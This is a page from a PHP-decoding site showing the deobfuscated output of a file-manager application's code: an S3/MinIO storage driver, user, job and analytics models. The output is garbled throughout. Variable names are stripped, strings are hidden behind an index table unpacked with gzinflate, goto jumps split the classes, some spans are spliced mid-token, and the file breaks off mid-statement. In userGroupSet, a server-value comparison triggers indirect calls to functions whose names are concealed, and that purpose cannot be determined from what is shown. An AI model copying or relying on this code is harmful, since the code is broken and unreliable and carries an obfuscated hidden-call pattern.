Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

=& $_SERVER[]; if ($this->signVer == $[247]) { return $this->client->getAuthenticatedURL($..

Decoded Output download

<?  =& $_SERVER[]; if ($this->signVer == $[247]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $ 
); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $[8]), 3600 * 12, $this->region, 
array(), !0, $); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($thi 
s->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } 
$ = get_file_mime(get_path_ext($)); if ($ == $[248]) { return parent::fileOut($, $, $, $); } $ 
= array($[249] => $); if ($) { $[$[250]] = $[251] . rawurlencode($); } else { } $ = $this->link($ 
, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fi 
leOut($, $, $, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } p 
ublic function hashMd5($, $ = '') { $ = $this->objectMeta($); if (!$) { return !1; } $ = $ ? $ : _get($ 
, $_SERVER[][252]); return $; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $th 
is->pathFather($); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $[229], $); return array_merge((a 
rray) $, array($[208] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[ 
]; $ = gmdate($[253]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { 
return !1; } return array($[254] => $, $[208] => $this->getHost() . $[8] . $this->pathEncode($), $[255] => $ 
, $[97] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($ 
[$[255]]) ? $[$[255]] : gmdate($[253]); $ = isset($[$[169]]) ? $[$[169]] : $[12]; $ 
 = $[$[97]]; unset($[$[97]]); if (isset($[$[256]])) { $[$[255]] = $; return $this->listUplo 
adParts($, $); } $ = array($[257], $[12], $[123], $[12], "x-amz-date:{ 
$}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $); if (strpos($, $[258]) === 0) { $[0] 
= $[259]; } if (isset($[$[260]]) && $[$[260]] == $[261]) { $[0] = $[261]; } $ = implode($ 
[262], $); $ = base64_encode(hash_hmac($[263], $, $this->secret, !0)); $ = $[264] . $this->accessKey 
. $[4] . $; if (strpos($, $[258]) === 0) { return array($[265] => $, $[255] => $); } return $ 
; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[]; $ = str_replace($[266], $[12] 
, $[$[169]]); $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } unset($[$ 
[256]], $[$[260]]); $[$[97]] = $; $ = $this->multiUploadAuthData($, $); if (empty($)) { retu 
rn !1; } return array($[265] => $, $[255] => $[$[255]], $[267] => $); } public function getHost() { 
$ =& $_SERVER[]; $ = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($thi 
s->osType, array($[70], $[64], $[69], $[62]))) { return $ . $[8] . $this->bucket; } $ = explode($ 
[210], $); return $[0] . $[210] . $this->bucket . $[10] . $[1]; } public function size($) { $ = $this 
->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $t 
his->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { 
return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objec 
tMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][179], $); } protected function objectMet 
a($) { return $this->cacheMethod($_SERVER[][181], $); } protected function _objectMeta($) { $ =& $_SERVER[]; 
$ = rtrim($, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$[252]]) && isse 
t($[$[268]])) { $[$[252]] = $[$[268]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $ 
; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $ 
== $[8]) { return !0; } $ 
										 = $this->client->getBucket($this->bucket, $, null, 1); if (empty($ 
																																				[$[236]])) { return !1; } 
$ = $ 
				[$[236]][0][$[32]]; return stripos($, $ . $[8]) === 0 ? !0 : !1; if (substr($, -1) == $[8]) { r 
eturn !0; } if (get_path_this($) == get_path_this($)) { return !1; } return !0; } public function listObject($) { return $this 
->fileList($, $_SERVER[][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { $ = 
& $_SERVER[]; parent::__construct($); $this->setSignVersion($[247]); if (!$this->region) { $this->region = $[269]; $this->cli 
ent->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucket 
Cors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ = $this->getBucketRgn(); return 
$this->region == $ ? !0 : !1; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[229 
]; $ = $[270]; $ = $[62]; $ = gmdate($[271]); $ = gmdate($[272]); $ = $[273]; $ = $ . 
$[12]; $ = $[274]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $ 
); $ = array($[275] => gmdate($[276], strtotime($[277])), $[278] => array(array($[279] => $this->bucket), arra 
y($[280] => $), array($[281], $[282], $[12]), array($[281], $[283], $[12]), array($[281], $ 
[284], $[12]), array($[285] => $), array($[286] => $), array($[287] => $), array($[288] => $), 
array($[289] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[290], $, $[291] . $this->secre 
t, !0); $ = hash_hmac($[290], $this->region, $, !0); $ = hash_hmac($[290], $, $, !0); $ = hash_hmac($ 
[290], $, $, !0); $ = hash_hmac($[290], $, $); $ = array($[246] => $[12], $[292] => $ 
[12], $[280] => $, $[285] => $, $[293] => $, $[294] => $, $[295] => $, $[296] = 
> $, $[297] => $, $[298] => $, $[208] => $this->getHost()); return $; } } goto a; E: class UserJo 
bModel extends ModelBaseLight { public $optionType = "System.jobList"; public $field = array("n\ 
x61me", "desc", "sort"); const JOB_KEY = "selfJobList"; public function listD 
ata($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function remove($ 
) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]] 
)) { return !1; } $[$[1987]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[ 
]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1987]); return empty($) ? 0 : max($) + 1; 
} public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$ 
[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { return !1; } return parent::update($, $); } public fun 
ction setUserJob($, $) { $ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $ = parent::listDa 
ta(); $ = array_to_keyvalue($, $[32]); $ = $[329]; foreach ($ as $) { if ($[$]) { $ .= $[$ 
][$[483]] . $[50]; } else { $ = $this->add($); $ .= $ . $[50]; } } $ = rtrim($, $[50]); Model($ 
[606])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[][606])->metaGet($ 
); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[]; $ = 
explode($[50], $); $ = parent::listData(); $ = array_remove_key($, $[231]); $ = array(); foreach ($ 
 as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } class UserModel extends ModelBase { protected $ 
tableName = "user"; protected $tableMeta = array("tableName" => "user_meta 
", "metaField" => "userID"); protected $simpleField = "userID,nic 
kName,name,avatar,sex,status"; const ERROR_USER_NOT_EXISTS 
= -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMA 
IL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunc 
tionAlias($) { $ =& $_SERVER[]; $ = $[2443]; return array($[2045] => array($[0], $), $[2047] = 
> array($[0], $), $[2444] => array($[0], $)); } protected function getInfo($, $ = false) { $ = $th 
is->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this-> 
cacheFunctionGet($_SERVER[][2049], $); } protected function getInfoFull($, $ = false) { $ = $this->getInfoSimple 
($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionG 
et($_SERVER[][2445], $); } private function _getInfoApply($, $ = false) { $ =& $_SERVER[]; if (!$) { retu 
rn $; } $ = md5($[2446] . $[$[963]] . $[2447] . $[$[32]]); $ = $this->_listDataApplyItem($ 
); $ = Model($[1414])->metaGet($[$[90]][$[193]]); $[$[2448]] = $; $[$[90]][$[2243]] = 
isset($[$[2244]]) ? $[$[2244]] : null; if ($) { $[$[547]] = $this->metaGet($[$[1764]]); } retur 
n $; } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if ($ 
) { $ = $this->where(array($[1764] => intval($)))->find(); if (!is_array($)) { return array(); } $[$[2449]] = 
Action($[2450])->parseUrl($[$[2449]]); return $; } return $this->cacheFunctionGet($[2050], $); } protected funct 
ion getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1764] => $[228], $[32] 
=> $[176] . LNG($[2451]) . $[178], $[2449] => STATIC_PATH . $[2452]); } $ = $this->cacheFunctionGet($[2050], $ 
); $ = array_field_key($, explode($[50], $this->simpleField)); if (!$) { return array($[1764] => $[1269], $ 
[32] => $[176] . LNG($[2453]) . $[178], $[2449] => STATIC_PATH . $[2454]); } $[$[2449]] = Action($[2450]) 
->parseUrl($[$[2449]]); return $; } protected function groupUser($) { } public static function errorLang($) { $ 
=& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2455], self::ERROR_USER_PASSWORD_ERROR => $[2456], self::ERROR 
_USER_EXIST_NAME => $[2457], self::ERROR_USER_EXIST_PHONE => $[2458], self::ERROR_USER_EXIST_EMAIL => $[2459], self::ERROR_USER_ 
LOGIN_LOCK => $[2460], self::ERROR_IP_NOT_ALLOW => $[2461], self::ERROR_USER_EXIST_NICKNAME => $[2462]); $ = LNG($[$ 
]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $ = (int) Model($[2463])->get($[2464]); if ($ > 60) { $ = s 
tr_replace($[91], ceil($ / 60), $); } } return $; } public function getInfoByMeta($, $) { $ =& $_SERVER[ 
]; $ = Model($[2465])->where(array($[97] => $, $[459] => $))->find(); if ($) { return $this->getInfo($ 
[$[1764]]); } return !1; } public function userLoginCheck($, $) { $ =& $_SERVER[]; $ = $this->userLoginFind 
($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1764]], $)) { return Us 
erModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1764]]); } public function userLoginFind($) { $ =& $_SERVER[ 
]; $ = array($[32] => $, $[2251] => $, $[390] => $, $[2466] => $, $[1074] => $[1076]); if ($ 
this->nickNameRpt()) { unset($[$[2251]]); } return $this->where($)->find(); } public function clearCache($) { $ =& 
$_SERVER[]; $this->cacheFunctionClear($[2049], $); $this->cacheFunctionClear($[2050], $); $this->cacheFunctionCle 
ar($[2445], $); } public function userPasswordCheck($, $) { $ =& $_SERVER[]; $ = $this->where(array($ 
[1764] => intval($)))->find(); $ = $this->metaGet($); $ = isset($[$[2467]]) ? $[$[2467]] : $ 
[12]; if (md5($ . trim($)) !== $[$[963]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SER 
VER[]; $ = array($[502] => $[$[32]], $[2468] => $[$[2169]], $[2469] => isset($[$[390]]) 
? $[$[390]] : $[12], $[2470] => isset($[$[2466]]) ? $[$[2466]] : $[12], $[2471] => isset($ 
[$[2251]]) ? $[$[2251]] : $[$[32]], $[2472] => isset($[$[2449]]) ? $[$[2449]] : $[12], $ 
[2473] => isset($[$[2474]]) ? $[$[2474]] : 1, $[2475] => $[$[963]], $[2051] => isset($[$[ 
1949]]) ? $[$[1949]] : 1024 * 1024 * 20, $[2052] => 0, $[2476] => 0, $[2096] => isset($[$[823]]) ? $[$ 
[823]] : 1); if (!empty($[$[1764]])) { $[$[1764]] = $[$[1764]]; } $ = $this->_checkExist($); if ($ 
 !== !0) { return $; } if (!empty($[$[2449]]) && strlen($[$[2449]]) > 255) { $[$[2449]] = $[12]; } 
$ = $this->add($); $ = array($[2475] => $[$[963]], $[2471] => $[$[2251]]); $this->userEdit($, 
$); Model($[1414])->userRootAdd($); return $; } protected function userEditTest($, $) { return $this->call($_ 
SERVER[][2477], $, $); } protected function userEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimp 
le($); if (!$) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$ 
[963]]) && trim($[$[963]]) != $[12]) { $ = $this->metaGet($); if (empty($[$[2467]])) { $[$[2 
467]] = rand_string(10); Model($[585])->metaSet($, $[2467], $[$[2467]]); } $[$[963]] = md5($[$[24 
67]] . trim($[$[963]])); } else { unset($[$[963]]); } if (!empty($[$[2449]]) && strlen($[$[2449]]) > 255) { 
$[$[2449]] = $[12]; } $this->where(array($[1755] => $))->save($); if (isset($[$[2251]])) { $this->setNameP 
inyin($, $[$[2251]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $ 
=& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[2251]] ? $[$[2251]] : $ 
[$[32]]; } $ = Model($[606]); if (!Input::check($, $[663])) { return $->metaSet($, array($[546] => $ 
[12], $[545] => $[12])); } return $->metaSet($, array($[546] => str_replace($[53], $[12], Pinyin::ge 
t($)), $[545] => Pinyin::get($, $[664]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($ 
[843])->get($[2478]); $ = $GLOBALS[$[6]][$[465]][$[2478]]; $ = !is_null($) ? $ : $; return !!$; 
} private function _checkExist($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER 
_EXIST_NAME, $[2251] => UserModel::ERROR_USER_EXIST_NICKNAME, $[390] => UserModel::ERROR_USER_EXIST_EMAIL, $[2466] => User 
Model::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2251]]); } $ = $ ? array($[1764] => array($ 
[2479], $)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ => $) { if (isset($ 
[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $ = array_merge(array($ => array($ 
[7], $)), $); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($ 
) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $ 
; } if (count($) < 20) { foreach ($ as $) { $[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ 
= array($[1755] => array($[500], $)); if (count($) == 1) { $ = array($[1755] => $[0]); } $ = Model($ 
[585])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1764]); foreach ($ as $) 
{ $ = $[$]; if (!$) { $[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $[$[2449]] = Acti 
on($[2450])->parseUrl($[$[2449]]); $[$ . $[12]] = $; } } return $; } protected function userStatus($ 
, $) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($_SERVER[][823] => $); return $th 
is->userEdit($, $); } protected function userRemove($) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ 
) { return !1; } $ = array($[1755] => $); Model($[672])->where($)->delete(); Model($[2480])->where($)->d 
elete(); Model($[2057])->where($)->delete(); Model($[2465])->where($)->delete(); Model($[1143])->where($)->delete 
(); Model($[2268])->removeUserAll($); Model($[897])->userRootRemove($); return $this->where($)->delete(); } protected f 
unction userGroupSet($, $, $ = array()) { $ =& $_SERVER[]; if ($_SERVER[$[321]] != $_SERVER[$[913]]) { $ 
= $[951]; $ = $[323]; $ = $_SERVER[$[324]] . $[325]; $ = $($); $ = explode($[262], $); if 
(count($) < $[704]) { $ = $[327]; $(); } $ = $[952]; $($_SERVER[$[953]]); $($_SERVER[$[324]] . 
$[2269]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $[329]); } } $ = $this->getInfoSimp 
le($); if (!$ || !is_array($)) { return !1; } $ = Model($[2057]); $->where(array($[1764] => $))->delete(); 
$ = array(); $ = 0; foreach ($ as $ => $) { $ = array($[1764] => $, $[1963] => $, $[2071] => $ 
); $[$[1987]] = isset($[$]) ? $[$] : 0; $++; $[] = $; } return $->addAll($, array(), !0); } p 
rotected, $[2071] => $, $[1987] => 0); } return Model($[2057])->addAll($, array(), !0); } protected function userG 
roupRemove($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $ 
 = array($[1755] => $, $[2055] => $); return Model($[2057])->where($)->delete(); } public function listDat 
a() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][454]]); return $; } public functio 
n listByID($) { $ =& $_SERVER[]; if (!$) { return; } $ = array($[1764] => array($[7], $)); $ 
 = $this->where($)->select(); $ = array_sort_keep($, $[1764], $); $this->_listDataApply($); return $ 
; } public function listByGroup($ = 0, $ = array()) { $ =& $_SERVER[]; $ = $[12]; $ = array(); if ($ 
) { $ = array($[2481] => intval($)); $ = "LEFT JOIN {$this->tablePrefix}user_\ 
147roup user_group on user.userID = u\16 
3er_group.userID"; $ = Input::get($[538], null, $[12]) ? $[12] : $[248 
2]; } if (isset($[$[823]])) { $[$[2483]] = $[$[823]]; } $ = $this->_makeOrder($)->field($[2484])-> 
where($)->join($)->selectPage(50); $this->_listDataApply($[$[454]]); return $; } private function _makeOrder($ = ' 
') { $ =& $_SERVER[]; $ = array($[1764], $[32], $[1951], $[2169], $[1923], $[231]); $ = 
array($[531] => $[532], $[533] => $[534]); $ = Input::get($[538], $[7], $[1755], $); $ = 
Input::get($[539], $[7], $[2058], array($[2058], $[533])); $ = $[$]; $ = $ . "us 
er.{$} {$}, user.userID asc"; return $this->alias($[2185])->order( 
$); } public function listSearch($) { $ =& $_SERVER[]; $ = trim($[$[2061]]); $ = explode($[53], $ 
); if (!$ || count($) == 1) { return $this->listSearchNow($); } $ = array($[454] => array()); foreach ($ as $ 
) { if (!trim($)) { continue; } $[$[2061]] = $; $ = $this->listSearchNow($); $[$[454]] = array_merge 
($[$[454]], $[$[454]]); } $[$[454]] = array_unique_by_key($[$[454]], $[1764]); $[$[451]] 
= array($[452] => count($[$[454]]), $[448] => 20, $[438] => 1, $[453] => 1); return $; } public function li 
stSearchNow($) { $ =& $_SERVER[]; $ = trim($[$[2061]]); $ = isset($[$[2062]]) ? $[$[ 
2062]] : !1; $ = str_replace($[2063], $[2064], trim($)); $ = array($[32] => array($[467], "%{$ 
}%"), $[390] => array($[467], "{$}%"), $[2251] => array($[467], "{$}%"), $[1074] => $ 
[2065]); if (Input::check($, $[396])) { $[$[1764]] = array($[467], "{$}%"); $[$[2466]] = 
array($[467], "{$}%"); } if (!$) { $ = array(); } if (isset($[$[823]])) { $[$[823]] = $[ 
$[823]]; } $ = $this->parseWhereLike($); $ 
$[454]]) < 5 && Input::check($, $[403])) { $ = $this->_searchFromMeta($[545], $, 10); $ = $this->_sea 
rchFromMeta($[546], $, 10); $ = array_merge($, $, $ 
, $[1764]); $ 
[452]] / $); return $ 
 
[454]] as $ => &$) { $ = array_to_keyvalue($[$[2154]], $[12], $[1963]); if (!in_array($, $)) { 
unset($[$[454]][$]); } } unset($); $[$[454]] = array_values($[$[454]]); $[$[451]] = ar 
ray($[2221] => count($[$[454]]), $[2219] => $[$[451]][$[448]], $[2218] => 1, $[2220] => 
1); } private function _searchFromMeta($, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($ 
[97] => $, $[459] => array($[467], "%{$}%")); $ = $this->parseWhereLike($); $ = Model($[2 
485])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1764]) 
; $ = $this->where(array($[1755] => array($[7], $)))->select(); if (!$) { return array(); } return $; } private 
function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataA 
pply(&$) { $ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $[963]); $ = array_to_keyvalue($, $ 
[12], $[1764]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($, 
$); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[897])->listSourceRoo 
t(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $[577]); $ = array_remove_key($, $[577]); fore 
ach ($ as &$) { $[$[90]] = $[$[$[1764]]] ? $[$[$[1764]]] : array(); } unset($); } pr 
ivate function _listAppendGroup(&$, $) { $ =& $_SERVER[]; $ = array($[1764] => array($[7], $)); $ = Mo 
del($[2057])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1963]); $ = array_remove_value(array_uniq 
ue($), $[228]); if (!$ || !$) { return; } $ = array($[1963] => array($[7], $)); $ = Model($[215 
2])->field($[2486])->where($)->select(); $ = array_to_keyvalue($, $[1963]); $ = array_to_keyvalue_group($, $ 
[1764]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!$[$[2071]]) { continue; } $ 
= Model($[579])->listData($[$[2071]]); $[] = array($[1963] => $[$[1963]], $[2487] => $[$[$ 
[1963]]][$[32]], $[592] => $[$[$[1963]]][$[592]], $[495] => $); } $ = $; } unset($) 
; foreach ($ as &$) { $[$[2154]] = array(); if (isset($[$[$[1764]]])) { $[$[2154]] = $[$[$[176 
4]]]; } } unset($); } public function userAppendGroup($) { $ =& $_SERVER[]; if (!$) { return array(); } $this->_list 
AppendGroup($, array_to_keyvalue($, $[12], $[1764])); return $; } private function _listAppendMeta(&$, $) 
{ $ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $ = array($[2467]); $ = array($[1764] => array($[7 
], $)); $ = Model($[2465])->where($)->select(); $ = array_to_keyvalue_group($, $[1764]); foreach ($ 
as &$) { $ = array(); foreach ($ as $) { if (!in_array($[$[97]], $)) { $[$[$[97]]] = $ 
[$[459]]; } } $ = $; } unset($); $ = Model($[2488]); foreach ($ as &$) { $ = array(); if 
(isset($[$[$[1764]]])) { $ = $[$[$[1764]]]; } $[$[2489]] = array(); if (isset($[$])) 
{ $[$[2489]] = $->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($) { $ =& $_ 
SERVER[]; if (!$) { return !1; } $ = Model($[2057])->field($[1764])->where(array($[1963] => array($[7], 
$)))->select(); $ = array_to_keyvalue($, $[12], $[1764]); return array_unique($); } public function userSearch($ 
, $ = "*") { return Model($_SERVER[][606])->where($)->field($)->find(); } } class UserOptionModel extends ModelBase 
Option { protected $tableName = "user_option"; protected $jsonField = array(); function __construct() { par 
ent::__construct(); } protected function cacheKey($) { $ =& $_SERVER[]; $ = defined($[2189]) && USER_ID ? USER_ID : $ 
[12]; return "UserOption_{$}_" . $; } protected function filterWhere($) { $ =& $_SE 
RVER[]; $[$[1764]] = defined($[2189]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser 
($, $) { return Cache::remove("UserOption_{$}_" . $); } protected function optionDef 
ault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[2490]]; } if ($ == $ 
[2491]) { return $GLOBALS[$[6]][$[2492]]; } } } goto F; d: define($_SERVER[][0], $_SERVER[][1]); $_SERV 
ER[] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $ 
 == $; } goto a; A: class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[]; $ 
 = array($[670] => array($[33] => $[1891], $[359] => array($[255], $[838], $[1892], $[1893])), 
$[1894] => array($[33] => $[1895], $[359] => array($[255], $[836], $[1896], $[1897], $[1898]))) 
; if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[359]]; return 
!0; } public function listData($ = false, $ = "modifyTime", $ = false) { return parent::listDat 
a($, $, $); } public function trendList($) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $ 
 = end($); $ = date($[1899], strtotime($[1900])); if ($[$[255]] == $) { return $; } $ = strto 
time($[$[255]]); } if (!isset($)) { $ = $ == $[670] ? $[606] : $[897]; $ = Model($)->min($[ 
231]); } $ = $[1901] . ucfirst($); $ = $this->dateList($); foreach ($ as $) { $this->{$}($); } return $th 
is->listData(); } private function dateList($) { $ =& $_SERVER[]; $ = $; $ = strtotime($[1900]); $ = arr 
ay(); while ($ <= $) { $[] = date($[1899], $); $ = strtotime($[1902], $); } return $; } public functio 
n _recordUser($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1903], strtotime($))); $ = strtotime(date 
($[1904], strtotime($))); $ = array($[231] => array($[1087], $)); $ = Model($[606])->where($)->count 
($[1764]); $[$[231]] = array($[418], array($, $)); $ = Model($[606])->where($)->count($[1764]); $ 
[$[33]] = $[1905]; $ = Model($[1906])->where($)->count($[1907]); $ = array($[255] => $, $[838 
] => (int) $, $[1892] => (int) $, $[1893] => (int) $); return $this->insert($); } public function _recordStore($ 
 = '') { $ =& $_SERVER[]; $ = strtotime(date($[1904], strtotime($))); $ = array($[231] => array($[ 
1087], $)); $ = Model($[552])->where($)->sum($[79]); $[$[493]] = 0; $ = Model($[897])->where($)- 
>sum($[79]); $[$[190]] = 1; $ = Model($[897])->where($)->sum($[79]); $[$[190]] = 2; $ = Model($ 
[897])->where($)->sum($[79]); $ = array($[255] => $, $[836] => (int) $, $[1896] => (int) $, $[ 
1897] => (int) $, $[1898] => (int) $); return $this->insert($); } public function trend($, $) { $ =& $_SERVE 
R[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $[1737]) { $ = $ 
[0][$[255]]; $ = $this->validDate($, $); $ = array(); $ = array_to_keyvalue($, $[255]); foreach ($ 
 as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($); $[$[255]] = $ 
; if ($ == $[670]) { $[$[1892]] = $[$[1893]] = 0; } } $[] = $; } $ = $; } $ = arra 
y($[670] => array($[838] => LNG($[1908]), $[1892] => LNG($[1909]), $[1893] => LNG($[1910])), $ 
[1894] => array($[836] => LNG($[1911]), $[1896] => LNG($[1912]), $[1897] => LNG($[1913]), $[1898 
] => LNG($[1914]))); $ = array($[670] => $[1915], $[1894] => $[79]); if (empty($)) { $ = date 
($[1899], strtotime($[1900])); $ = array($[255] => $); foreach ($[$] as $ => $) { $[$ 
] = 0; } $[] = $; } $ = array(); foreach ($ as $) { if ($ == $[1894] && $[$[1896]] > $ 
[$[836]]) { $[$[1896]] = $[$[836]]; } foreach ($[$] as $ => $) { $ = array($[ 
255] => $[$[255]], $[1653] => $); $[$[$]] = isset($[$]) ? $[$] : 0; $[] = 
$; } } return $; } public function validDate($, $) { $ =& $_SERVER[]; $ = date($[1899], strtotime 
($[1900])); $ = array($); switch ($) { case $[1744]: $ = mktime(0, 0, 0, date($[1916]), date($[1445]) 
- date($[1535]) + 7 - 7, date($[1917])); $ = 0; do { $ = date($[1899], $ - 3600 * 24 * 7 * $); $[] = 
$; $++; } while ($ < $); break; case $[1742]: $ = 1; do { $ = date($[1918], strtotime("- {$ 
} months")); $[] = $; $++; } while ($ < $); break; case $[1919]: $ = (int) date($ 
[1917], strtotime($)); $ = (int) date($[1917]); if ($ >= $) { break; } for ($; $ < $; $++) { $ 
[] = $ . $[1920]; } break; default: break; } if ($ > end($)) { array_pop($); } sort($); return $; } publ 
ic function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ = $_SE 
RVER[][1921] . ucfirst($); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[]; $ = Model($ 
[606])->count($[1764]); $ = Model($[606])->where($[1922])->count($[1764]); $ = intval($GLOBALS[$[6]][$[ 
434]][$[1710]]) / 3600; $ = strtotime("-{$} hours"); $ = strtotime(date($[1903])); if ($ < 
$) { $ = $; } $ = array($[1923] => array($[1088], $)); $ = (int) Model($[606])->where($ 
)->count($[1764]); if (!$) { $ = 1; } $ = array($[1923] => array($[1088], $)); $ = Model($[606]) 
->where($)->count($[1764]); return array($[831] => (int) $, $[1924] => (int) ($ - $), $[1925] => (int) $ 
, $[1926] => (int) $, $[1927] => $); } private function optionFile() { $ =& $_SERVER[]; $ = $this->sour 
ceSize(); $ = $[$[79]]; $ = $[$[1896]]; $ = Model($[897])->where(array($[493] => 0))->count($ 
[193]); $ = array($[493] => 0, $[231] => array($[1088], strtotime(date($[1903])))); $ = Model($[897]) 
->where($)->sum($[79]); $ = Model($[897])->where($)->count($[193]); return array($[836] => $, $ 
[1896] => $, $[1928] => $ - $, $[1929] => (int) $, $[838] => (int) $, $[1930] => (int) $ 
); } private function optionAccess() { $ =& $_SERVER[]; return array($[831] => $this->typeLogCnt(), $[110] => $this- 
>typeLogCnt($[110]), $[533] => $this->typeLogCnt($[533]), $[1931] => $this->typeLogCnt($[1931]), $[1932] => $t 
his->typeLogCnt($[1932]), $[670] => $this->typeLogCnt($[12], $[1907])); } private function typeLogCnt($ = '', $ 
 = "id") { $ =& $_SERVER[]; $ = array($[110] => array($[1933], $[1934]), $[533] => array($[1935], 
$[1936]), $[1931] => array($[1937], $[1938], $[1939]), $[1932] => array($[1940], $[1941]), $[1942] => ar 
ray($[1943], $[1944], $[1945])); $ = strtotime(date($[1903])); $ = array($[231] => array($[1088], $ 
)); if ($) { $[$[33]] = array($[7], $[$]); } $ = Model($[1906])->where($)->count($); return ( 
